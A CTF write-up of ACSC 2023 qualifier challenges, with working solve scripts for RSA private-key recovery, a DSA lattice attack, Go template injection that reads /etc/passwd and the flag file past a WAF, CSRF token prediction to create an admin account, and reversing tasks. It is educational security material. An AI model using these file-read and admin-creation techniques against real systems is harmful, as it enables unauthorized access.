Asian Cyber Security Challenge 2023 Qualifiers CTF Writeups

I played as @roastedgarlicsummersausage and got 5th overall and 4th among participants that qualify for the ACSC team. Unfortunately I won’t be participating in the ICC due to university commitments.

Corrupted
Dual Signature Algorithm
EasySSTI
Check_Number_63
ngo
Admin Dashboard
Hardware is not so hard
serverless
Merkle Hellman

Corrupted

By Stephen

My private key was corrupted, luckily I managed to recover some parts

Can you help me to recover the whole private key? I got an important file on my server

godam@corrupted.chal.ctf.acsc.asia:22 or godam@corrupted-2.chal.ctf.acsc.asia:2222

Attachment: corrupted.tar.gz

9 solves, 250 points

Challenge corrupted.pemtext
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN
3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g
?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD
WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W???
????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1?
X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i
?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m
?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0
?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY?
3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw
m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq?
????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT?
eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i??
?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???-

We are given a RSA private key with many ? where there should be base64 characters. We can clean up the file and try to parse it regardless.

Cleaned corrupted.pemtext
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA_AoI_____8S__Om/___xN
3c__0_/G_OO_aQWQB__ECCi__KD_w__2mFc__pTM_r_rX__X+XFW__Rtw_o_d___
ZQ_yp_mczG_q2_0O___1o3_Jt_8_+00s_SY+__MG__7d__7k__o_____ci_K____
_wK__Y__gqV____9____YA_Hh5T____ICP+_3HTU_l___m0y_6__2___b2x_____
_+7__T________n_7____b_P__iL_/___tq___5jLuy__lX_d_ZEO_7___ld___g
_r_rK__IYA___0___zYCIZt2S___cP__W____f___l5_3c+__UkJr4E_QH__PiiD
WLB___f5A_G_A___________u___3_K_______I___S_________J_p_3_N_W___
____r_______8___o___m_____8_s___1_4_l_T_3_j_y_6_F_c_g_3_A_8_S_1_
X_o_D_C_+_7_F_V_U_1_f_K_a_F_7_S_b_V_/_v_5_1_V_A_5_G_y_X_AoGB_L_i
_2_C_t_W_s_Z_h_L_t_3_r_d_M_s_U_E_L_P_n_2_U_G_M_g_D_u_E_s_a_h_K_m
_9_/_n_o_J_8_e_9_9_k_N_2_l_T_8_k_b_e_j_n_Q_u_z_z_e_A_S_6_0_w_5_0
_B_V_i_s_R_W_6_Y_6_u_l_s_G_c_Q_2_Q_w_U_l__GA__V_f___kVYfl___WyY_
3J_2fF_h/___UqfpeO___o_k_9kF__a8L_V_w______J__9_iP____D___JSx__g
_IUC0__t7___I__c______eh/No_____y8___0_E+__1_JC_Oj__HFy__2T_1nV_
HH_+___+__s_L_o__K_zc_____BhB2A_____E__b___e_f__KruaZ__u_tp_Tq_c
t_____iQ1qS__h__m_S_/____FDu3i_p___S__Q_o__0s_e0_n_Hv__C_CnM_/Dw
m9_____uC_Ktm____D_e____h7_A__V__O__5/XsY__Y_A_______q_y_gk_Pbq_
____MQK_gQ__SQ_____ERjLp_N__A__P_So_TPE__WWG___lK_Q____o_aztnUT_
eKe4+h0_VkuB_b_v_7ge_nK1__Jy7_y__9______BP__gG_kKK_y_Z___yES4i__
_Uhc_p____c4ln_m_r___P__C_8_X_d__TP__k__B_dwjN7__ui_K___
-----END RSA PRIVATE KEY-----

Loading corrupted keypython
import base64

with open("clean.pem", "r") as f:
    raw = f.read()

key_b64 = "".join(raw.split("\n")[1:-1])
key_bytes = base64.b64decode(
    key_b64.replace("_", "A")[:-2] + "=="
)
key_mask = base64.b64decode(
    "".join([
        "/" if i != "_" else "A"
        for i in key_b64
    ])[:-2] + "=="
)

According to some info about the DER format, integers in the DER struct will always start with 02xx if the integer is 127 or less bytes wide, 0281xx if 128-255 bytes wide or 0282xxxx if 256-65535 bytes wide. Using this restriction we can find the spans of each key parameter. The first parameter we find is the 2048-bit modulus n. We can also compare the censored key with a user-generated 2048 bit key to find the struct sizes. Eventually we find the location of each parameter e/p/q etc. as well as exactly which bits of information we have left.

Helper function for extracting bytespython
bufs = [key_bytes, key_mask]
def take(l, desc="?", show=True, full=False, check=None):
    if check:
        assert hex(int(check, 16) & int(bufs[1][:l].hex(), 16)), hex(int(bufs[0][:l].hex(), 16))
    if show:
        print(desc)
        if check:
            print("checked for", check)
        for i in range(2):
            if l < 30 or full:
                print(bufs[i][:l].hex())
            else:
                print(bufs[i][:l][:15].hex(), "...", bufs[i][:l][-15:].hex(), 16)
        print()

    ret = []
    for i in range(2):
        ret.append(int(bufs[i][:l].hex(), 16))

    for i in range(2):
        bufs[i] = bufs[i][l:]

    return ret

python

take(4, "struct header")
take(3, "int length 1 => version 0")

take(4, "int length 257, value of n")
n, nmask = take(257, "value of n")

take(5, "int length 0x03 => e = 0x0100??, likely 0x010001", check="0203010001")

take(4, "int length ??, must be less than or equal to 257", check="02820101")
d, dmask = take(257, "value of d, corrupted")

take(3, "int length ??, likely 128 or 129", check="028181")
p, pmask = take(129, "value of p, corrupted")

take(3, "int length 129", check="028181")
q, qmask = take(129, "value of q, corrupted")

output

struct header
308204a4 # known data
ffffffff # known data mask

int length 1 => version 0
020100
ffffff

int length 257, value of n
02820101
ffffffff

value of n
009fef118f5d5cd893a0c9feacd478 ... a183c6f5df2842b1f44d98c780daff 16
ffffffffffffffffffffffffffffff ... ffffffffffffffffffffffffffffff 16

int length 0x03 => e = 0x0100??, likely 0x010001
checked for 0203010001
0203010000
ffffffffc0

int length ??, must be less than or equal to 257
checked for 02820101
02820000
ffffc000

value of d, corrupted
0000f120003a6fc0000c4dddc000d0 ... af81004070003e288358b0400007f9 16
0000fff000ffffc0000ffffff000fc ... ffffc0fff000ffffffffffc0000fff 16

int length ??, likely 128 or 129
checked for 028181
000180
fc0fc0

value of p, corrupted
000000000000000000b80000dc0280 ... fc0bc0e40d40540000e40180c805c0 16
fc0000000000000000fc0000fc0fc0 ... fc0fc0fc0fc0fc0fc0fc0fc0fc0fc0 16

int length 129
checked for 028181
028181
ffffff

value of q, corrupted
00b02203600202d01602c01902100b ... 02502c00601c010036010030014025 16
03f03f03f03f03f03f03f03f03f03f ... 03f03f03f03f03f03f03f03f03f03f 16

We have many bits of p and q denser towards their lower bits. One definite value of the low 530 bits of p and q can be found by elimintating values where the product of their lower bits is inconsistent with the low bits of n. We can then generate candidates for the low 560 bits of p and q, then attempt to use each of them with Coppersmith small roots to find the whole value of p.

Pruned search for low bits of p, qpython
binp, binpmask, binq, binqmask = [bin(i)[2:].zfill(130 * 8)[::-1] for i in [p, pmask, q, qmask]]

res = []
leak_bits = 560
def search(lowp, lowq, bitidx):
    bitval = 2 ** bitidx
    if lowp * lowq % bitval != n % bitval:
        return

    if bitidx == leak_bits:
        res.append((lowp, lowq))
        return

    if binp[bitidx] == "1":
        assert binpmask[bitidx] == "1"
        lowp += bitval
    if binq[bitidx] == "1":
        assert binqmask[bitidx] == "1"
        lowq += bitval

    search(lowp, lowq, bitidx+1)
    if binqmask[bitidx] == "0":
        search(lowp, lowq + bitval, bitidx+1)
    if binpmask[bitidx] == "0":
        search(lowp + bitval, lowq, bitidx+1)
    if binpmask[bitidx] == "0" and binqmask[bitidx] == "0":
        search(lowp + bitval, lowq + bitval, bitidx+1)

search(0, 0, 0)
lplqs = res
print(len(lplqs), "candidate p, q")

output

64 candidate p, q

Coppersmith to recover full p, qsage
from sage_army_knife import small_roots
from tqdm.auto import tqdm

for lowp, _ in tqdm(lplqs):
    F.<x> = PolynomialRing(Zmod(n), 1)
    f = x * (2 ^ leak) + lowp
    res = small_roots(f, (2^(1024-leak), ), m=5, d=10)
    if len(res):
        p = ZZ(res[0][0] * (2 ^ leak) + lowp)
        assert n % p == 0
        q = n // p
        break

print(f"{p = }")
print(f"{q = }")

output

p = 15529954100943080958[...]38281222460619331027
q = 13000540423862755887[...]82398330358248591013

Claiming flagipython
from Crypto.PublicKey import RSA

phi = (p-1) * (q-1)
e = 65537
d = pow(e, -1, phi)
rsa_key = RSA.construct(tuple([int(i) for i in [n, e, d, p, q]]))
rsa_key_bytes = rsa_key.export_key("PEM")

with open("key_solved.pem", "wb") as f:
    f.write(rsa_key_bytes)

!chmod 600 key_solved.pem
!ssh -i key_solved.pem godam@corrupted-2.chal.ctf.acsc.asia -p 2222

output

Congrats! You have recovered my private key!
Here is the flag:
ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}Connection to corrupted-2.chal.ctf.acsc.asia closed.

Also see UIUCTF 2022 Bro-key-n.

Dual Signature Algorithm

By theoremoon

It must be twice as powerful as the ordinal one.

Attachment: DSA.tar.gz

21 solves, 250 pts

Challenge task.pypython
import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse


flag = os.environ.get("FLAG", "neko{cat_are_the_most_powerful_beings_in_fact}")


def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)


def gen_prime():
    while True:
        q = getPrime(520)
        p = 2*q + 1
        if isPrime(p):
            return p, q


p1, q1 = gen_prime()
p2, q2 = gen_prime()

if q1 > q2:
    (p1, q1), (p2, q2) = (p2, q2), (p1, q1)

x = int((os.urandom(512 // 8 - len(flag) - 1) + flag.encode()).hex(), 16)
g = 4
y1 = pow(g, x, p1)
y2 = pow(g, x, p2)


def sign(m: bytes):
    z = h(m)
    k = getRandomNBitInteger(512)
    r1 = pow(g, k, p1)
    r2 = pow(g, k, p2)
    s1 = inverse(k, q1) * (z + r1*x) % q1
    s2 = inverse(k, q2) * (z + r2*x) % q2

    return (r1, s1), (r2, s2)


def verify(m: bytes, sig1, sig2):
    z = h(m)
    r1, s1 = sig1
    r2, s2 = sig2

    s1inv = inverse(s1, q1)
    s2inv = inverse(s2, q2)
    gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1
    gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2

    return r1 == gk1 and r2 == gk2


m = b"omochi mochimochi mochimochi omochi"
sig1, sig2 = sign(m)

print(f"g = {g}")
print(f"p1, p2 = {p1}, {p2}")
print(f"y1, y2 = {y1}, {y2}")

print(f"m = {m}")
print(f"r1, s1 = {sig1}")
print(f"r2, s2 = {sig2}")

The code given generates two DSA keypairs with same secret $x$ but different moduli $p_1, p_2$ . Then it signs a known message that has hash $z$ with the same nonce $k$ . Looking at the formula for $s_i$ :

\begin{align*} s_i &= \frac{z + r_i \cdot x}{k} & \mod q_i \\ s_i \cdot k &= z + r_i \cdot x & \mod q_i \\ s_i \cdot k &= z + r_i \cdot x + c_i \cdot q_i \\ \end{align*}

By rearranging this expression we can model a closest vector problem that will reveal $x$ and $k$ .

\mathbf{B} = \begin{bmatrix} s_1 & s_2 & 1 & 0 \\ -r_1 & -r_2 & 0 & 1 \\ q_1 & 0 & 0 & 0 \\ 0 & p_1 & 0 & 0 \end{bmatrix} \\[8pt] \textbf{x} = \begin{pmatrix} k & x & -c_0 & -c_1 \\ \end{pmatrix} \\[4pt] \textbf{t} = \begin{pmatrix} z & z & k & x \\ \end{pmatrix} \\[4pt] \textbf{u} = \begin{pmatrix} z & z & 2^{511} & 2^{510} \\ \end{pmatrix} \\[4pt] \mathbf{x} \mathbf{B} = \textbf{u} \approx \textbf{t}

With some further manipulation to fix $z$ as an exact output and scaling some columns to account for the magnitude of $x$ and $k$ , these values can be found.

Exploit codesage
from hashlib import sha256
from sage_army_knife import closest_vector

g = 4
p1, p2 = (
    6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699,
    6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839
)
y1, y2 = (
    4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074,
    1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759
)
m = b'omochi mochimochi mochimochi omochi'
r1, s1 = (
    2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630,
    705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802
)
r2, s2 = (
    3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604,
    2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373
)

q1, q2 = p1 // 2, p2 // 2
def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)
z = h(m)

large = 2^1000
mat = [
    [s1*large, s2*large, 1, 0, 0],
    [-r1*large, -r2*large, 0, 1, 0],
    [q1*large, 0, 0, 0, 0],
    [0, q2*large, 0, 0, 0],
    [-z*large, -z*large, 0, 0, large]
]
vec = [0, 0, 2^511, 2^510, large]

mat = matrix(mat)
vec = vector(vec)

res = closest_vector(mat, vec)
print(bytes.fromhex(hex(res[3])[2:]))

output

b'5\xa9W\xe1\xb2F\xb0ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}'

EasySSTI

By icchy

Can you SSTI me?

http://easyssti.chal.ctf.acsc.asia:8000/ or http://easyssti-2.chal.ctf.acsc.asia:8001/

Attachment: easyssti.tar.gz

43 solves, 200 points

There is a flag service running the echo golang webserver behind a web application firewall that blocks text matching the flag format.

python

import requests
url = "http://easyssti.chal.ctf.acsc.asia:8000/"
res = requests.get(url)
print(res.text)

output

<!doctype html>
<html>
  <head>
    <title>easyssti</title>
  </head>

  <body>
    <h1>Hi 10.20.3.15:46756</h1>
    <h2>Can you SSTI me?</h2>
  </body>
</html>

Reviewing the webservice and proxy code, we notice that a golang template can be injected via the template HTTP header.

python

def query_template(t):
    res = requests.get(url, headers={"template": t})
    return res.text

print(query_template(r"""{{"hello"}}{{"world"}}"""))

output

helloworld

The execution of the template can be found inside of the function handleIndex, and we find that the user-provided template is rendered with a echo.Context in scope.

func handleIndex(c echo.Context) error {
	// ...
	if err := t.Execute(buf, c); err != nil {
		return c.String(http.StatusInternalServerError, err.Error())
	}
    // ...
}

python

print(query_template(r"""{{.Request.Method}}"""))

output

GET

From some quick googling shows that the echo Context struct has many gadgets inclined towards remote file inclusion. However these functions are intended for static file hosting or file downloads; using any of these functions will prevent the calculated template from being returned.

python

print("file leak")
print(query_template(r"""{{.File "/etc/hostname"}}"""))
print("template is truncated")
print(query_template(r"""{{.File "/etc/hostname"}}this text won't appear"""))
print("flag leak blocked by waf")
print(query_template(r"""{{.File "/flag"}}"""))

output

file leak
easyssti-app-66865fcb5f-n65cx

template is truncated
easyssti-app-66865fcb5f-n65cx

flag leak blocked by waf
??

We can search further into the echo codebase to find gadgets that open files, and sure enough there is a gadget that creates a file handle inside of Echo.Filesystem.

python

print(query_template(r"""{{.Echo.Filesystem.Open "/etc/passwd"}}"""))
print(query_template(r"""{{(.Echo.Filesystem.Open "/etc/passwd").Read "a"}}"""))

output

{0xc0002ea9c0}
template: page:1:45: executing "page" at <"a">: can't handle "a" for arg of type []uint8

Next, we need to find a []uint8 buffer to read the file’s data into. Finding a gadget that returns a suitable struct from echo internals was hard, but it turns out the challenge stores the template inside a []byte which is compatible! We can then read the flag into the start of the template string and obfuscate it to avoid triggering the WAF.

python

res = query_template(
    r"""{{(.Echo.Filesystem.Open "/flag").Read (.Get "template")}}"""
    r"""{{.Get "template"}}"""
)
print(res)

output

26[65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 125 125 123 123 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 125 125]

We can convert the decimal data back to ascii to get the flag.

python

bytes([int(i) for i in res[3:-1].split(" ")])

output

b'ACSC{h0w_did_y0u_leak_me}\n/flag").Read (.Get "template")}}{{.Get "template"}}'

Check_number_63

By Bono_iPad

I know the “common modulus attack” on RSA. But as far as I know, the attacker can NOT factor n, right? I generated 63 keys with different public exponents. I also generated the check numbers to confirm the keys were valid. Sadly, public exponents and check numbers were leaked. Am I still safe?

Attachment: Check_number_63.tar.gz

43 solves, 150 points

Challenge problem.sagesage
from Crypto.Util.number import *
import gmpy2
from flag import *

f = open("output.txt","w")

f.write(f"n = {n}\n")

while e < 66173:
  d = inverse(e,(p-1)*(q-1))
  check_number = (e*d - 1) // ( (p-1)*(q-1) )
  f.write(f"{e}:{check_number}\n")
  assert (e*d - 1) % ( (p-1)*(q-1) ) == 0
  e = gmpy2.next_prime(e)

f.close()

We are given RSA modulus $p$ and many pairs of $e_i, k_i$ such that $e_i \cdot d_i = k_i \cdot \phi + 1$ . This can be modelled as a closest vector problem.

\mathbf{B} = \begin{bmatrix} e_0 & & \\ & \ddots & \\ & & e_i \\ -k_0 & \cdots & -k_i & 1 \\ \end{bmatrix} \\[8pt] \textbf{x} = \begin{pmatrix} d_0 & \cdots & d_i & \phi \end{pmatrix} \\[4pt] \textbf{u} = \begin{pmatrix} 1 & \cdots & 1 & \phi \end{pmatrix} \\[4pt] \textbf{t} = \begin{pmatrix} 1 & \cdots & 1 & (\text{Guess of} \; \phi) \end{pmatrix} \\[4pt] \mathbf{x} \mathbf{B} = \textbf{u} \approx \textbf{t}

However, the input has too little information and multiple solutions are obtained using different guesses of $\phi$ . We can guess an upper bound of $\phi \le p - 2 \sqrt{p}$ and lower each guess of $\phi$ until we get some valid $\phi$ (where $x^{\phi} = 1 \bmod p$ ).

Exploit codesage
# === Read input ===

raw = open("output.txt").read().strip().split("\n")

p = int(raw[0][4:])
leak = [
    tuple([ int(j) for j in i.split(":")])
    for i in raw[1:]
]
n = len(leak)

mat = [
    [0 for _ in range(n + 1)]
    for _ in range(n + 1)
]

for i in range(n):
    ei, ki = leak[i]
    mat[i][i] = ei
    mat[n][i] = - ki
mat[n][n] = 1 / p
mat = Matrix(QQ, mat)
matLLL = mat.LLL(delta=0.75)
matG = matLLL.gram_schmidt()[0]

# === Brute force for valid phi

def babai_guess(vec):
    t = vec
    for i in reversed(range(matLLL.nrows())):
        c = ((t * matG[i]) / (matG[i] * matG[i])).round()
        t -= matLLL[i] * c
    return vec - t

phi_ub = p - isqrt(p) * 2
step = 2^1008

from tqdm.auto import tqdm

for i in tqdm(range(1000)):
    phi_guess = phi_ub - i * step
    vec = vector(QQ, [1] * n + [phi_guess / p])
    res = babai_guess(vec)
    assert set(res[:-1]) == set([1])
    phi = ZZ(res[-1] * p)
    if Zmod(p)(2) ^ phi == 1:
        break

print(f"{phi = }")

# === Recover p, q and flag ===

from hashlib import sha512
from sage_army_knife import RSAKnife

rsa = RSAKnife(n=p, phi=phi, e=65537)
p, q = rsa.p, rsa.q
if p > q:p,q = q,p
flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}"
print(flag)

output

48% 481/1000 [00:05<00:05, 87.34it/s]
phi = 24575303335152579483[...]9703682463211337624
'ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}'

ngo

By op

https://www.youtube.com/watch?v=R0JWMtr7oDw

Attachment: ngo.tar.gz

44 solves, 120 points

We get a windows binary that prints out a flag then grind to a halt. Decompiling it with ghidra shows it is doing some CRC/LSFR-like calculation with seed 0x3D2964F0 and modulus 0x80200003 and XOR-ing the output with some ciphertext in memory byte by byte. Each byte to be decrypted needs 42 times as many CRC cycles as the last which explains the slowdown. We can speed this up using fast exponentiation, or in my case I chose to use Sagemath, specifically using polynomial rings under GF(2).

Exploit codesage
ctr = 0x3D2964F0 # seed
mod = 0x80200003 # polynomial modulus

def u32_to_binlist(x):
    return [int(i) for i in bin(x)[2:].zfill(32)]

R.<x> = PolynomialRing(GF(2))
RR.<xx> = R.quotient(R(u32_to_binlist(mod) + [1]))

poly_ctr = RR(u32_to_binlist(ctr))
ct = [ 0x01, 0x19, 0xef, 0x5a, 0xfa, 0xc8, 0x2e, 0x69, 0x31, 0xd7, 0x81, 0x21 ]

poly_ctr = RR(u32_to_binlist(ctr))
iters = 1
print("ACSC{", end="")
for cti in ct:
    poly_ctr = poly_ctr * xx ^ iters
    iters = iters * 0x2a

    cipher = int("".join([str(i) for i in list(poly_ctr)]), 2) & 0xff
    print(chr(cipher ^^ cti), end="")
print("}")

output

ACSC{yUhFgRvQ2Afi}

Admin Dashboard

By Stephen

I built my first website, admin dashboard with bootstrap and PHP!

Feel free to try it! Hope there is no bug..

http://admin-dashboard.chal.ctf.acsc.asia/ or http://admin-dashboard-2.chal.ctf.acsc.asia:8000/

Attachment: admin_dashboard.tar.gz

67 solves, 100 pts

After registering a normal user, there is a hidden /addadmin endpoint that is used to register an admin user. The endpoint uses $_REQUEST instead of $POST to get form parameters which means making the admin bot load the /addadmin?username=... page is sufficient to trigger the admin creation code using a GET request.

php

if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){
    // ...

We next need to find a valid csrf-token parameter for the admin user. Looking at the token generation code, it loads some numerical constants $A$ and $C$ from the database and calculates the token like a LCG with fixed modulus.

php

if($row){
    $A = gmp_import($row['A']);
    $C = gmp_import($row['C']);
    $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
}
if (!isset($_SESSION['X'])){
    $X = gmp_import($_SESSION["user"]["username"]);
    $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
    $_SESSION["token-expire"] = time() + 30;
}else{
    if(time() >= $_SESSION["token-expire"]){
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
        $_SESSION["token-expire"] = time() + 30;
    }
}

Even though the account we just created is not an admin, we still can generate a valid token for ourself. By reloading the page over time and collecting multiple consecutive tokens we can then regenerate parameters $A$ and $C$ , then finally generate one for the admin. This then gets us flag.

Exploit codepython
import requests

xs = [ # username rgss, manually collected
    0x5c11cc74f1ba540f38a6e05a4c1e8962,
    0xada9ce6fb96fca3007621f131d3a0c77,
    0x3e921eac37343fd36396eeed209db2a3,
]
# m is hardcoded
m = 0xc4f3b4b3deadbeef1337c0dedeadc0dd
M = lambda x: ((x % m) + m) % m

a = M((xs[2] - xs[1]) * pow(xs[1] - xs[0], -1, m))
c = M(xs[1] - xs[0] * a)
print(f"{a = }")
print(f"{c = }")

token = hex(M(int(b"admin".hex(), 16) * a + c))[2:]
print(token)

res = requests.post("http://admin-dashboard.chal.ctf.acsc.asia/report", cookies={
    "PHPSESSID": "uhij55q1un604iisid6n0gb203"
}, data={
    "url": "http://localhost/addadmin?username=rgssa&password=rgssa&csrf-token=" + token
})

s = requests.session()
res = s.get("http://admin-dashboard.chal.ctf.acsc.asia/login?username=rgssa&password=rgssa")
res = s.get("http://admin-dashboard.chal.ctf.acsc.asia/index")
res.text[1250:]

output

a = 39238395068069510873877941548003979614
c = 163462177865055857243861130640161174000
1fe69abb084e42434627a84405d722e0

'lass="mt-5">Welcome rgssa</h1>\n\t<p class="lead">ACSC{C$rF_15_3VerYwh3Re!}</p>\t\n\n</main>\n\n</body>\n\n</html>\n'

Hardware is not so hard

By op

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It’s in SPI mode.

Attachment: hardware_is_not_so_hard.tar.gz

52 solves, 100 points

We get data captured from communications to a SD card over SPI. Read request packets are formatted such that a Device to SD Card : 51000000???? requests a 512 bit buffer from the SD card at address ????, while the response from the SD card only contains actual data starting from the first fe byte; the rest can be discarded. Notably, we can see a JFIF string in one of the packets, suggesting that a JPEG image is our goal. After sorting chunk order and data values, the recovered image still has some chunk errors. Adjusting the block size of the memory layout somehow generated a less corrupted image with the flag barely visible. ¯\_(ツ)_/¯

Exploit codepython
raw = open("spi.txt", "r").read().strip().split("\n")
datas = [line.partition(" : ")[2] for line in raw]

addrs = [
    int(i[-4:], 16)
    for i in datas[252::3]
]

chunks = [
    bytes.fromhex(i).partition(b"\xfe")[2]
    for i in datas[254::3]
]

start_address = 0x55
max_addr = 0x4300
scale_factor = 8 # ????? Magic number that makes flag barely visible

buf = [0 for _ in range(scale_factor * max_addr)]
for addr, chunk in sorted(zip(addrs, chunks)):
    buf[addr * scale_factor:(addr + 1) * scale_factor] = list(chunk)[:-2]
open("recovered.jpg", "wb").write(bytes(buf)[0x55 * scale_factor:])

serverless

By daniellimws

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with “acscpass” as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

Attachment: serverless.tar.gz

106 solves, 80 points

Ciphertexttext
MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

The attachment contains a single webpage with an obfuscated encryption procedure. After beautifying the script, we can somewhat identify the structure of the encryption function:

var g, h, j, k, l, o, r, s, t is some kind of parameter selection
function u(A) packs a string into a BigInt
function w(A, B, C) is fast exponentiation with modulus

For the main function b(d, f), we can tell it does the following:

Selects parameters
Take plaintext d and encrypts it with RSA
Appends parameters
Reverses byte order
XOR-s with password string f
Does a base64 encoding

We can recover the plaintext by reversing each step and particulary implementing RSA decryption to recover the flag.

Exploit codepython
import base64
from itertools import cycle

